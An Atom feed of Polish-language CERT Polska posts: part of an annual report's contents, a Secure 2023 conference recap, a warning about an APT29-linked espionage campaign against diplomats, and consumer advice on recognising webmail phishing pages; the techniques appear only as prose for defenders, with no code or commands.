&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=120"&gt;C&amp;amp;C w Polsce&lt;span&gt;&lt;/span&gt;&lt;em&gt;120&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=120"&gt;Phishing&lt;span&gt;&lt;/span&gt;&lt;em&gt;120&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=120"&gt;Phishing hostowany w polskich sieciach&lt;span&gt;&lt;/span&gt;&lt;em&gt;120&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=122"&gt;Phishing, który trafił na listę ostrzeżeń CERT Polska&lt;span&gt;&lt;/span&gt;&lt;em&gt;122&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=124"&gt;Strony związane ze złośliwym oprogramowaniem&lt;span&gt;&lt;/span&gt;&lt;em&gt;124&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=126"&gt;Usługi pozwalające na prowadzenie ataków DRDoS&lt;span&gt;&lt;/span&gt;&lt;em&gt;126&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=129"&gt;Otwarte serwery DNS&lt;span&gt;&lt;/span&gt;&lt;em&gt;129&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=130"&gt;SNMP&lt;span&gt;&lt;/span&gt;&lt;em&gt;130&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=131"&gt;NTP&lt;span&gt;&lt;/span&gt;&lt;em&gt;131&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=131"&gt;Portmapper&lt;span&gt;&lt;/span&gt;&lt;em&gt;131&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=132"&gt;NetBIOS&lt;span&gt;&lt;/span&gt;&lt;em&gt;132&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=133"&gt;Podatne usługi&lt;span&gt;&lt;/span&gt;&lt;em&gt;133&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=137"&gt;Exchange&lt;span&gt;&lt;/span&gt;&lt;em&gt;137&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=137"&gt;Przemysłowe systemy sterowania&lt;span&gt;&lt;/span&gt;&lt;em&gt;137&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=138"&gt;HTTP&lt;span&gt;&lt;/span&gt;&lt;em&gt;138&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=139"&gt;FTP&lt;span&gt;&lt;/span&gt;&lt;em&gt;139&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=140"&gt;CWMP&lt;span&gt;&lt;/span&gt;&lt;em&gt;140&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=141"&gt;SSL-POODLE&lt;span&gt;&lt;/span&gt;&lt;em&gt;141&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=142"&gt;RDP&lt;span&gt;&lt;/span&gt;&lt;em&gt;142&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=142"&gt;TFTP&lt;span&gt;&lt;/span&gt;&lt;em&gt;142&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=143"&gt;Dane z systemów honeypot&lt;span&gt;&lt;/span&gt;&lt;em&gt;143&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=146"&gt;MWDB&lt;span&gt;&lt;/span&gt;&lt;em&gt;146&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;style&gt;
.article ul {
  font-size: 1.5em;
  clear: both;
}
.article ul ul {
  font-size: 0.9em;
}
.article ul ul ul {
  font-size: 0.9em;
}
.article ul ul ul ul {
  font-size: 0.9em;
}
.article ul div {
  display: inline-block;
  width: 100%;
}
.article ul div a {
  display: flex;
}
.article ul div a span {
  flex: 1 1;
  border-bottom: 1px dashed #999;
  margin: 0 0.3em 0.45em 0.3em;
}
.article ul div a em {
  white-space: nowrap;
}
.article .report-download {
  vertical-align: top;
  display: inline-block;
  text-align: center;
  margin: 5px 0 5px 20px;
  float: right;
}
.article .report-download img {
  width: 100%;
  max-width: 400px;
  margin: 0 0 10px 0;
}
.article .report-download .caption {
  display: block;
  font-weight: bold;
  font-size: 1.5em;
}
&lt;/style&gt;</content><category term="News"></category><category term="raport roczny"></category><category term="raport"></category></entry><entry><title>Dwudziesta szósta edycja Secure za nami</title><link href="https://cert.pl/posts/2023/04/secure-2023/" rel="alternate"></link><published>2023-04-20T16:15:00+01:00</published><updated>2023-04-20T16:15:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-04-20:/posts/2023/04/secure-2023/</id><summary type="html">Dwudziesta szósta edycja Secure za nami. „Bezpieczeństwo w dobie zmian” – to hasło przewodnie zakończonej właśnie konferencji.</summary><content type="html">&lt;h1&gt;Dwudziesta szósta edycja Secure za nami. Jakie wnioski możemy z niej wyciągnąć?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;„Bezpieczeństwo w dobie zmian” – to hasło przewodnie zakończonej właśnie konferencji Secure;&lt;/li&gt;
&lt;li&gt;To wiodące wydarzenie z obszaru cyberbezpieczeństwa zgromadziło w Warszawie ponad 300 uczestników;&lt;/li&gt;
&lt;li&gt;Obowiązek wspólnego działania w obliczu cyberzagrożeń to przesłanie, które wybrzmiewało zarówno w wypowiedziach prelegentów, jak i zgromadzonych ekspertów;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="grid-x align-center" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="https://cert.pl/uploads/2023/04/secure-2023/dyrektor.jpg"/&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Lata temu, kiedy odbywała się pierwsza edycja konferencji cyberbezpieczeństwo rozumieliśmy zupełnie inaczej. Hasłem przewodnim tej edycji jest „bezpieczeństwo w dobie zmian”. Nawiązuje ono bardzo mocno do obecnej sytuacji międzynarodowej, którą uwydatnia wyzwania związane z cyberprzestrzenią oraz koniecznością współpracy w tym obszarze. Znajduje to także odbicie w agendzie naszego wydarzenia&lt;/em&gt; – mówił otwierając konferencję dyrektor Adam Marczyński. Wtórował mu dyrektor NASK Wojciech Pawlak, który podkreślał, że postęp technologiczny wymusza na nas wzmożone działania pokrywające się także częściowo z zadaniami, które przed CSIRT NASK stawia ustawa o KSC.&lt;/p&gt;
&lt;div class="grid-x align-center" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="https://cert.pl/uploads/2023/04/secure-2023/debata.jpg"/&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Cyberbezpieczeństwo to nie jest opcja, tylko must have dla każdej firmy i organizacji&lt;/em&gt; – mówił podczas pierwszego panelu dotyczącego europejskiego krajobrazu cyberbezpieczeństwa minister cyfryzacji Janusz Cieszyński. Debatę moderował Krzysztof Silicki, a udział w niej wzięli także Uroš Svete oraz Juhan Lepassaar – dyrektor zarządzający Europejskiej Agencji Cyberbezpieczeństwa, który zauważył, że – &lt;em&gt;bardziej widoczne od czasu inwazji na Ukrainę działania haktywistów, nie powinny przesłaniać rosnącego poziomu mniej zgłaszanych i mniej widocznych, ale wciąż pozostających poważnym zagrożeniem, ataków ransomware i cyberszpiegostwa w UE.&lt;/em&gt;&lt;/p&gt;
&lt;div class="grid-x align-center" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="https://cert.pl/uploads/2023/04/secure-2023/cert.jpg"/&gt;&lt;/div&gt;

&lt;p&gt;Debata o europejskim wymierze cyberbezpieczeństwa stanowiła wprowadzenie do tego co działo się później. Uzupełnieniem do perspektywy międzynarodowej było spojrzenie na grunt polski, a wyjściem do dalszej dyskusji wystąpienie kierownika zespołu CERT Polska Sebastiana Kondraszuka, w którym podsumował obserwacje z roku 2022. Kondraszuk zauważył, że o 178% wzrosła ilość zgłoszeń odebranych przez CERT Polska. – &lt;em&gt;To efekt rozwoju świadomości, ale i postępujących ułatwień dotyczących metod zgłaszania takich zjawisk&lt;/em&gt; – mówił. Przedstawił też najpowszechniejsze zagrożenia i wyzwania, które następnie rozwijane były w ramach dwóch ścieżek tematycznych.&lt;/p&gt;
&lt;div class="grid-x align-center" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="https://cert.pl/uploads/2023/04/secure-2023/artemis.jpg"/&gt;&lt;/div&gt;

&lt;p&gt;Blisko 50 prelegentów omawiało w kolejnych godzinach projekty, wyzwania i zmiany w prawie związane z cyberbezpieczeństwem. Krzysztof Zając z zespołu CERT Polska przybliżał efekty skanowania polskiego internetu narzędziem Artemis i mówił o najczęściej znajdowanych błędach, Paweł Piekutowski z KNF opowiadał o skutkach ataków typu DDoS zaznaczając, że - nie jest dziś pytaniem czy będziemy mieli do czynienia z atakiem DDoS ale kiedy do niego dojdzie. Bartosz Trybus – także z zespołu CERT – brał natomiast udział w dyskusji o skutkach ataków ransomware.&lt;/p&gt;
&lt;div class="grid-x align-center" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="https://cert.pl/uploads/2023/04/secure-2023/knf.jpg"/&gt;&lt;/div&gt;

&lt;p&gt;Wydarzeniem towarzyszącym Secure były odbywające się 18 kwietnia warsztaty. Ponad 100 uczestników z podmiotów, które zgodnie z KSC, leżą w zakresie zainteresowania CSIRT NASK szkoliło się m.in. z zapobiegania atakom DNS czy systemu S46 . Mówiliśmy też o narzędziu N6, które jest szczególnie rekomendowane przez zespół CERT Polska. – &lt;em&gt;Zachęcamy do dzielenia się wiedzą i do korzystania z doświadczeń innych&lt;/em&gt; – mówił o projekcie prowadzący szkolenie Krzysztof Rydz.&lt;/p&gt;
&lt;p&gt;Kolejna konferencja Secure już za rok! Do zobaczenia!&lt;/p&gt;</content><category term="News"></category><category term="Secure"></category><category term="2023"></category><category term="konferencja"></category></entry><entry><title>CERT Polska i SKW ostrzegają przed działaniami rosyjskich szpiegów</title><link href="https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/" rel="alternate"></link><published>2023-04-13T13:00:00+02:00</published><updated>2023-04-13T13:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-04-13:/posts/2023/04/kampania-szpiegowska-apt29/</id><summary type="html">Zespół CERT Polska oraz Służba Kontrwywiadu Wojskowego zaobserwowały kampanię szpiegowską łączoną z działaniami rosyjskich służb specjalnych. Celem kampanii było nielegalne pozyskiwanie informacji z ministerstw spraw zagranicznych oraz placówek dyplomatycznych, w większości znajdujących się w państwach należących do NATO i Unii Europejskiej.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Zespół CERT Polska oraz Służba Kontrwywiadu Wojskowego zaobserwowały kampanię szpiegowską łączoną z działaniami rosyjskich służb specjalnych. Celem kampanii było nielegalne pozyskiwanie informacji z ministerstw spraw zagranicznych oraz placówek dyplomatycznych, w większości znajdujących się w państwach należących do NATO i Unii Europejskiej.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Wiele elementów zaobserwowanej kampanii, takich jak infrastruktura, wykorzystane techniki oraz narzędzia, częściowo lub całkowicie pokrywa się z opisywanymi w przeszłości aktywnościami grupy określanej przez Microsoft mianem „NOBELIUM”, zaś przez Mandiant  jako „APT29”. Grupa ta wiązana jest m.in. z kampanią zwaną „SOLARWINDS”, narzędziami „SUNBURST”, „ENVYSCOUT” i „BOOMBOX”, a także licznymi innymi kampaniami o charakterze wywiadowczym.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Działania wykryte oraz opisane przez CERT Polska i SKW wyróżniają się jednak na tle poprzednich wykorzystaniem unikalnego, nieodnotowanego wcześniej publicznie oprogramowania.&lt;/strong&gt; Nowe narzędzia były używane równolegle i niezależnie od siebie lub też kolejno, zastępując starsze rozwiązania, których skuteczność spadała. Pozwalało to sprawcom na utrzymanie ciągłości działań.&lt;/p&gt;
&lt;p&gt;„Zacieśnianie współpracy między krajowymi podmiotami obserwującymi aktywność grup sponsorowanych przez obce państwa jest kluczowe dla bezpieczeństwa Polski. Dzięki bliskiej współpracy analityków CERT Polska i Służby Kontrwywiadu Wojskowego połączono elementy widziane z różnych perspektyw. Dało to efekt w postaci raportu zawierającego analizę nigdy wcześniej nie opisywanych narzędzi i z pewnością przyczyni się do zwiększenia ich wykrywalności” – podkreślił Janusz Cieszyński, Minister Cyfryzacji.&lt;/p&gt;
&lt;h2&gt;Publikujemy i ostrzegamy&lt;/h2&gt;
&lt;p&gt;Należy podkreślić, że w momencie &lt;a href="https://www.gov.pl/baza-wiedzy/kampania-szpiegowska-wiazana-z-rosyjskimi-sluzbami-specjalnymi"&gt;publikacji raportu&lt;/a&gt; kampania realizowana przez rosyjską grupę wywiadowczą nie tylko nadal trwa, ale ma też charakter rozwojowy. Dlatego CERT Polska oraz SKW rekomendują wszystkim podmiotom, które mogą znajdować się w obszarze zainteresowania tej grupy, wdrożenie mechanizmów mających na celu podniesienie bezpieczeństwa wykorzystywanych systemów informatycznych i zwiększenie wykrywalności ataków. &lt;strong&gt;Przykładowe zmiany konfiguracyjne oraz mechanizmy detekcji zostały zaproponowane w rekomendacjach.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Podstawowym celem publikacji raportu jest zatem zakłócenie trwającej kampanii szpiegowskiej oraz umożliwienie wykrycia, analizy oraz śledzenia opisywanych działań zarówno poszkodowanym podmiotom, jak i przedstawicielom branży cyberbezpieczeństwa.&lt;/p&gt;
&lt;h2&gt;Przebieg obserwowanej kampanii&lt;/h2&gt;
&lt;p&gt;We wszystkich zaobserwowanych przypadkach sprawcy korzystali z techniki &lt;a href="https://cert.pl/posts/2023/03/spear-phishing/"&gt;spear phishingu&lt;/a&gt;. Do wyselekcjonowanych pracowników placówek dyplomatycznych wysyłane były wiadomości e-mail podszywające się pod ambasady krajów europejskich. Korespondencja zawierała zaproszenie na spotkanie lub do wspólnej pracy nad dokumentami. W treści wiadomości lub w załączonym dokumencie PDF zawarty był link kierujący rzekomo do kalendarza ambasadora, szczegółów spotkania lub pliku do pobrania.&lt;/p&gt;
&lt;div class="grid-x align-center" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="/uploads/2023/04/kampania-szpiegowska-apt29/screenshot1.png"/&gt;&lt;div class="cell text-center"&gt;&lt;i&gt;Przykładowa wiadomość email podszywająca się pod polską ambasadę i nakłaniająca do kliknięcia w złośliwy link.&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;W rzeczywistości odnośnik kierował do przejętej strony, na której umieszczony był charakterystyczny dla tej grupy skrypt. Korzystał on z techniki „HTML Smuggling” – przy jej użyciu złośliwy plik jest odkodowywany w momencie otwarcia strony, a następnie pobierany na urządzenie ofiary. Skrypt wyświetlał również stronę internetową, której treść miała utwierdzić ofiarę w przekonaniu, że pobrała prawidłowy załącznik.&lt;/p&gt;
&lt;div class="grid-x align-center margin-vertical-1" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="/uploads/2023/04/kampania-szpiegowska-apt29/screenshot2.png"/&gt;&lt;div class="cell text-center"&gt;&lt;i&gt;Strona podszywająca się pod polską ambasadę sugerująca możliwość pobrania kalendarza ambasadora.&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sprawcy wykorzystywali różne techniki, aby nakłonić potencjalne ofiary do uruchomienia pobranego złośliwego oprogramowania. Jedną z nich był plik skrótu udający dokument, w rzeczywistości uruchamiający ukrytą bibliotekę DLL. Zaobserwowano również technikę „DLL Sideloading”, polegającą na użyciu podpisanego pliku wykonywalnego do załadowania i wykonania złośliwego kodu zawartego w dołączonej bibliotece DLL. Na późniejszym etapie kampanii nazwa pliku wykonywalnego zawierała dodatkowo wiele spacji, aby utrudnić zauważenie rozszerzenia exe.&lt;/p&gt;
&lt;div class="grid-x align-center margin-vertical-1" style="margin: 2em auto 2em"&gt;&lt;img class="cell small-12 medium-10 large-8" src="/uploads/2023/04/kampania-szpiegowska-apt29/screenshot3.png"/&gt;&lt;div class="cell text-center"&gt;&lt;i&gt;Widok po uruchomieniu przez ofiarę pliku obrazu przy domyślnych ustawieniach eksploratora Windows.&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2&gt;Rekomendacje&lt;/h2&gt;
&lt;p&gt;CERT Polska oraz SKW stanowczo rekomendują wszystkim podmiotom mogącym znajdować się w obszarze zainteresowania rosyjskiej grypy szpiegowskiej wdrożenie zmian, które skutecznie przeciwstawią się mechanizmom dostarczenia używanym w opisywanej kampanii. 
Sektory, które szczególnie powinny rozważyć wdrożenie zaleceń to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Podmioty rządowe;&lt;/li&gt;
&lt;li&gt;Podmioty dyplomatyczne, ministerstwa spraw zagranicznych, ambasady, personel dyplomatyczny i pracujący w podmiotach międzynarodowych;&lt;/li&gt;
&lt;li&gt;Organizacje międzynarodowe;&lt;/li&gt;
&lt;li&gt;Organizacje pozarządowe.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Szczegółowe rekomendacje zmian konfiguracyjnych oraz dokładny opis przebiegu kampanii szpiegowskiej znajduje się na stronie &lt;a href="https://www.gov.pl/baza-wiedzy/kampania-szpiegowska-wiazana-z-rosyjskimi-sluzbami-specjalnymi"&gt;https://www.gov.pl/baza-wiedzy/kampania-szpiegowska-wiazana-z-rosyjskimi-sluzbami-specjalnymi&lt;/a&gt;.&lt;/p&gt;</content><category term="News"></category><category term="ostrzeżenie"></category><category term="apt29"></category></entry><entry><title>Kampanie phishingowe na serwisy pocztowe</title><link href="https://cert.pl/posts/2023/04/phishing-webmail/" rel="alternate"></link><published>2023-04-04T15:00:00+01:00</published><updated>2023-04-04T15:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-04-04:/posts/2023/04/phishing-webmail/</id><summary type="html">Jednym z najczęstszych zagrożeń dla internautów, obserwowanych przez nasz zespół, pozostaje phishing. Pozornie nieszkodliwe maile, często wzywające do pilnego działania, mogą prowadzić do fałszywych witryn wyłudzających dane.</summary><content type="html">&lt;p&gt;Jednym z najczęstszych zagrożeń dla internautów, obserwowanych przez nasz zespół, pozostaje phishing. Pozornie nieszkodliwe maile, często wzywające do pilnego działania, mogą prowadzić do fałszywych witryn wyłudzających dane.&lt;/p&gt;
&lt;h1&gt;Schemat działania&lt;/h1&gt;
&lt;p&gt;Głównym celem sprawców tego oszustwa jest wyłudzenie poufnych informacji (najczęściej danych dostępowych do konkretnej usługi) poprzez podszycie się pod dany podmiot lub osobę. W tym celu przestępcy rozsyłają do potencjalnych ofiar wiadomości mailowe zawierające link do kontrolowanej przez siebie witryny. Należy przy tym podkreślić, że nie ma jednego schematu szkodliwych wiadomości stosowanego przez oszustów - różnice wynikają z wytypowanej grupy będącej celem ataku oraz możliwości technicznych sprawców. Często powtarzający się element to wywieranie presji czasu na odbiorcy poprzez wzywanie go do podjęcia natychmiastowych działań i zwracanie uwagi na nieodwołane, uciążliwe konsekwencje ich zaniechania. Gdy ofiara otworzy link i zaloguje się na podstawionej przez oszustów stronie, wówczas jej dane uwierzytelniające trafią w ręce przestępców, którzy uzyskają w ten sposób dostęp do jej konta. Kolejnym krokiem jest na ogół zmiana hasła dostępowego, co skutkuje odcięciem prawowitego właściciela od konta.&lt;/p&gt;
&lt;p&gt;Najczęstszym i najmniej wyrafinowanym schematem, który jest często odnotowywany przez nasz zespół, jest po prostu masowa wysyłka wiadomości phishingowych pod przypadkowe adresy mailowe. Nadawcy bardzo często podszywają się w takich wiadomościach pod administratorów poczty elektronicznej (w nazwie nadawcy) i informują np. o blokadzie konta z tytułu wykrytego naruszenia. Maile tego typu są często napisane bardzo słabą polszczyzną i usiłują imitować oficjalne, automatycznie wygenerowane powiadomienie.
&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/generic-mail.png"&gt;
Umieszczony w wiadomości link prowadzi do strony internetowej, która prezentuje prosty formularz logowania, niekiedy zawierający wyłącznie pola do podania nazwy użytkownika i hasła (które często nie jest nawet maskowane tzn. widać wprowadzone w nim znaki).
&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/generic-webpage.png"&gt;&lt;/p&gt;
&lt;p&gt;Czasami kampanie tego typu są ukierunkowane na użytkowników konkretnego dostawcy usług. Wówczas fałszywa strona logowania może próbować wzbudzić zaufanie np. poprzez zamieszczony logotyp.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/interia-webpage2.png"&gt;&lt;/p&gt;
&lt;p&gt;Trzeba jednak pamiętać, że często przestępcy zamiast masowej wysyłki słabo przygotowanych wiadomości phishingowych przygotowują ukierunkowane ataki na użytkowników konkretnych dostawców. Rozsyłane wówczas wiadomości bazują na tych samych schematach - podszywanie się pod administrację i tworzenie presji czasu pod groźbą negatywnych konsekwencji - jednak są już dużo lepiej przygotowane.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/onet-mail.png"&gt;&lt;/p&gt;
&lt;p&gt;Takie wiadomości prowadzą nierzadko do stron, które wizualnie bardzo dobrze imitują prawdziwy panel logowania. Wskazówkę, że może to być phishing stanowią niedziałające elementy interfejsu (takie jak linki „zapomniałem hasła” czy pola „nie wylogowuj mnie”).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/onet-webpage.png"&gt;&lt;/p&gt;
&lt;p&gt;Zdarza się, że fałszywe witryny bardzo pieczołowicie odtwarzają rzeczywiste serwisy. Mogą zawierać wszystkie elementy prawdziwej witryny, w tym reklamy oraz powiadomienie o wykorzystywaniu ciasteczek (cookies). Z tego powodu bardzo istotne jest uważne sprawdzanie, czy domena w pasku adresowym zgadza się z rzeczywistym adresem serwisu.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/interia-webpage.png"&gt;&lt;/p&gt;
&lt;p&gt;Wiadomości phishingowe mogą być też bardziej zakamuflowane i wyłamywać się z opisanych powyżej schematów. Wówczas treść wiadomości nie odnosi się w żaden sposób do skrzynki pocztowej, lecz odsyła do jakiegoś zasobu, do którego rzekomo prowadzi umieszczony w niej link. Nadawcy mogą w nich podszywać się pod różne firmy lub instytucje, wykorzystując autentyczną stopkę i informować np. o nowej fakturze czy innym dokumencie.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/microsoft-mail.png"&gt;&lt;/p&gt;
&lt;p&gt;Po kliknięciu w link znajdujący się w wiadomości użytkownik przenoszony jest na witrynę zawierającą prosty panel logowania lub podszywającą się pod konkretnego dostawcę usług. Bardzo często potencjalna ofiara jest informowana, że w celu uzyskania dostępu do danego zasobu konieczna jest autoryzacja (poprzez podanie danych logowania).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/phishing-webmail/microsoft-webpage.png"&gt;&lt;/p&gt;
&lt;h1&gt;Ważne informacje&lt;/h1&gt;
&lt;p&gt;Twórcy przeglądarek internetowych wkładają wiele wysiłku w izolowanie potencjalnie złośliwych stron internetowych od systemu operacyjnego - w praktyce nie obserwujemy przypadków, by samo wejście na stronę phishingową niosło za sobą negatywne konsekwencje. Dopiero po wprowadzeniu danych do formularza trafiają one w ręce przestępców.&lt;/p&gt;
&lt;h1&gt;Jak się chronić?&lt;/h1&gt;
&lt;p&gt;W celu ochrony przed phishingiem warto rozważyć skorzystanie z menadżera haseł i skonfigurować go w taki sposób, aby automatycznie uzupełniał formularz logowania. Wówczas rozróżnienie prawdziwej witryny od fałszywej przejmuje automat, który w tym drugim przypadku nie wypełni formularza logowania.&lt;/p&gt;
&lt;p&gt;W przypadku otrzymania wiadomości mailowej należy zwracać szczególną uwagę, czy adres nadawcy nie budzi wątpliwości. Ponadto warto uważnie czytać treść maila - wiadomości oszustów, choć często po polsku, na ogół zawierają liczne błędy językowe i literówki. Przed logowaniem na dowolnej stronie należy sprawdzić, czy jej adres zgadza się z oczekiwaną domeną serwisu. W razie wątpliwości co do prawdziwości otrzymanej wiadomości lub strony internetowej zalecamy powstrzymanie się od podawania jakichkolwiek informacji i kontakt z pomocą techniczną danego dostawcy usług, lub przesłanie zgłoszenia do naszego zespołu za pośrednictwem &lt;a href="https://incydent.cert.pl"&gt;formularza&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;Również włączenie dwuskładnikowego uwierzytelnienia (2FA) może stanowić dodatkową warstwę ochrony przed phishingiem, jednak jest ona skuteczna jedynie przeciwko najbardziej prymitywnym stronom phishingowym, które po prostu nie wyłudzają od użytkownika drugiego składnika. Stosowanie unikalnych, nieschematycznych haseł do poszczególnych serwisów pozwoli natomiast ograniczyć szkody w przypadku, gdy oszustom jednak uda się wyłudzić hasło.&lt;/p&gt;
&lt;h1&gt;Co zrobić w przypadku, gdy doszło do wyłudzenia danych&lt;/h1&gt;
&lt;p&gt;Należy jak najszybciej skontaktować się z administratorem danej usługi i poinformować o zaistniałej sytuacji. CERT Polska nie ma możliwości udzielenia pomocy w odzyskaniu przejętego konta, jednak zachęcamy do przesłania zgłoszenia do naszego zespołu za pośrednictwem &lt;a href="https://incydent.cert.pl"&gt;formularza&lt;/a&gt; i przekazanie adresu szkodliwej witryny - umożliwi nam to podjęcie działań w celu zablokowania zagrożenia i ochrony pozostałych internautów.&lt;/p&gt;</content><category term="zagrożenia"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Ataki spear phishing na pracowników polskich firm i instytucji publicznych</title><link href="https://cert.pl/posts/2023/03/spear-phishing/" rel="alternate"></link><published>2023-03-21T15:00:00+01:00</published><updated>2023-03-21T15:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-03-21:/posts/2023/03/spear-phishing/</id><summary type="html">Spear phishing jest oszustwem o charakterze socjotechnicznym, wykorzystującym presję autorytetu i czasu, aby skłonić atakowanego do podjęcia niekorzystnego dla niego działania. Fakt, że zazwyczaj informacje potrzebne do przeprowadzenia ataku są publicznie dostępne lub łatwe do uzyskania, czyni to oszustwo popularnym wśród cyberprzestępców.</summary><content type="html">&lt;p&gt;Spear phishing jest oszustwem o charakterze socjotechnicznym, wykorzystującym presję autorytetu i czasu, aby skłonić atakowanego do podjęcia niekorzystnego działania.
Fakt, że zazwyczaj informacje potrzebne do przeprowadzenia ataku są publicznie dostępne lub łatwe do uzyskania, czyni to oszustwo popularnym wśród cyberprzestępców.&lt;/p&gt;
&lt;h1&gt;Schemat działania&lt;/h1&gt;
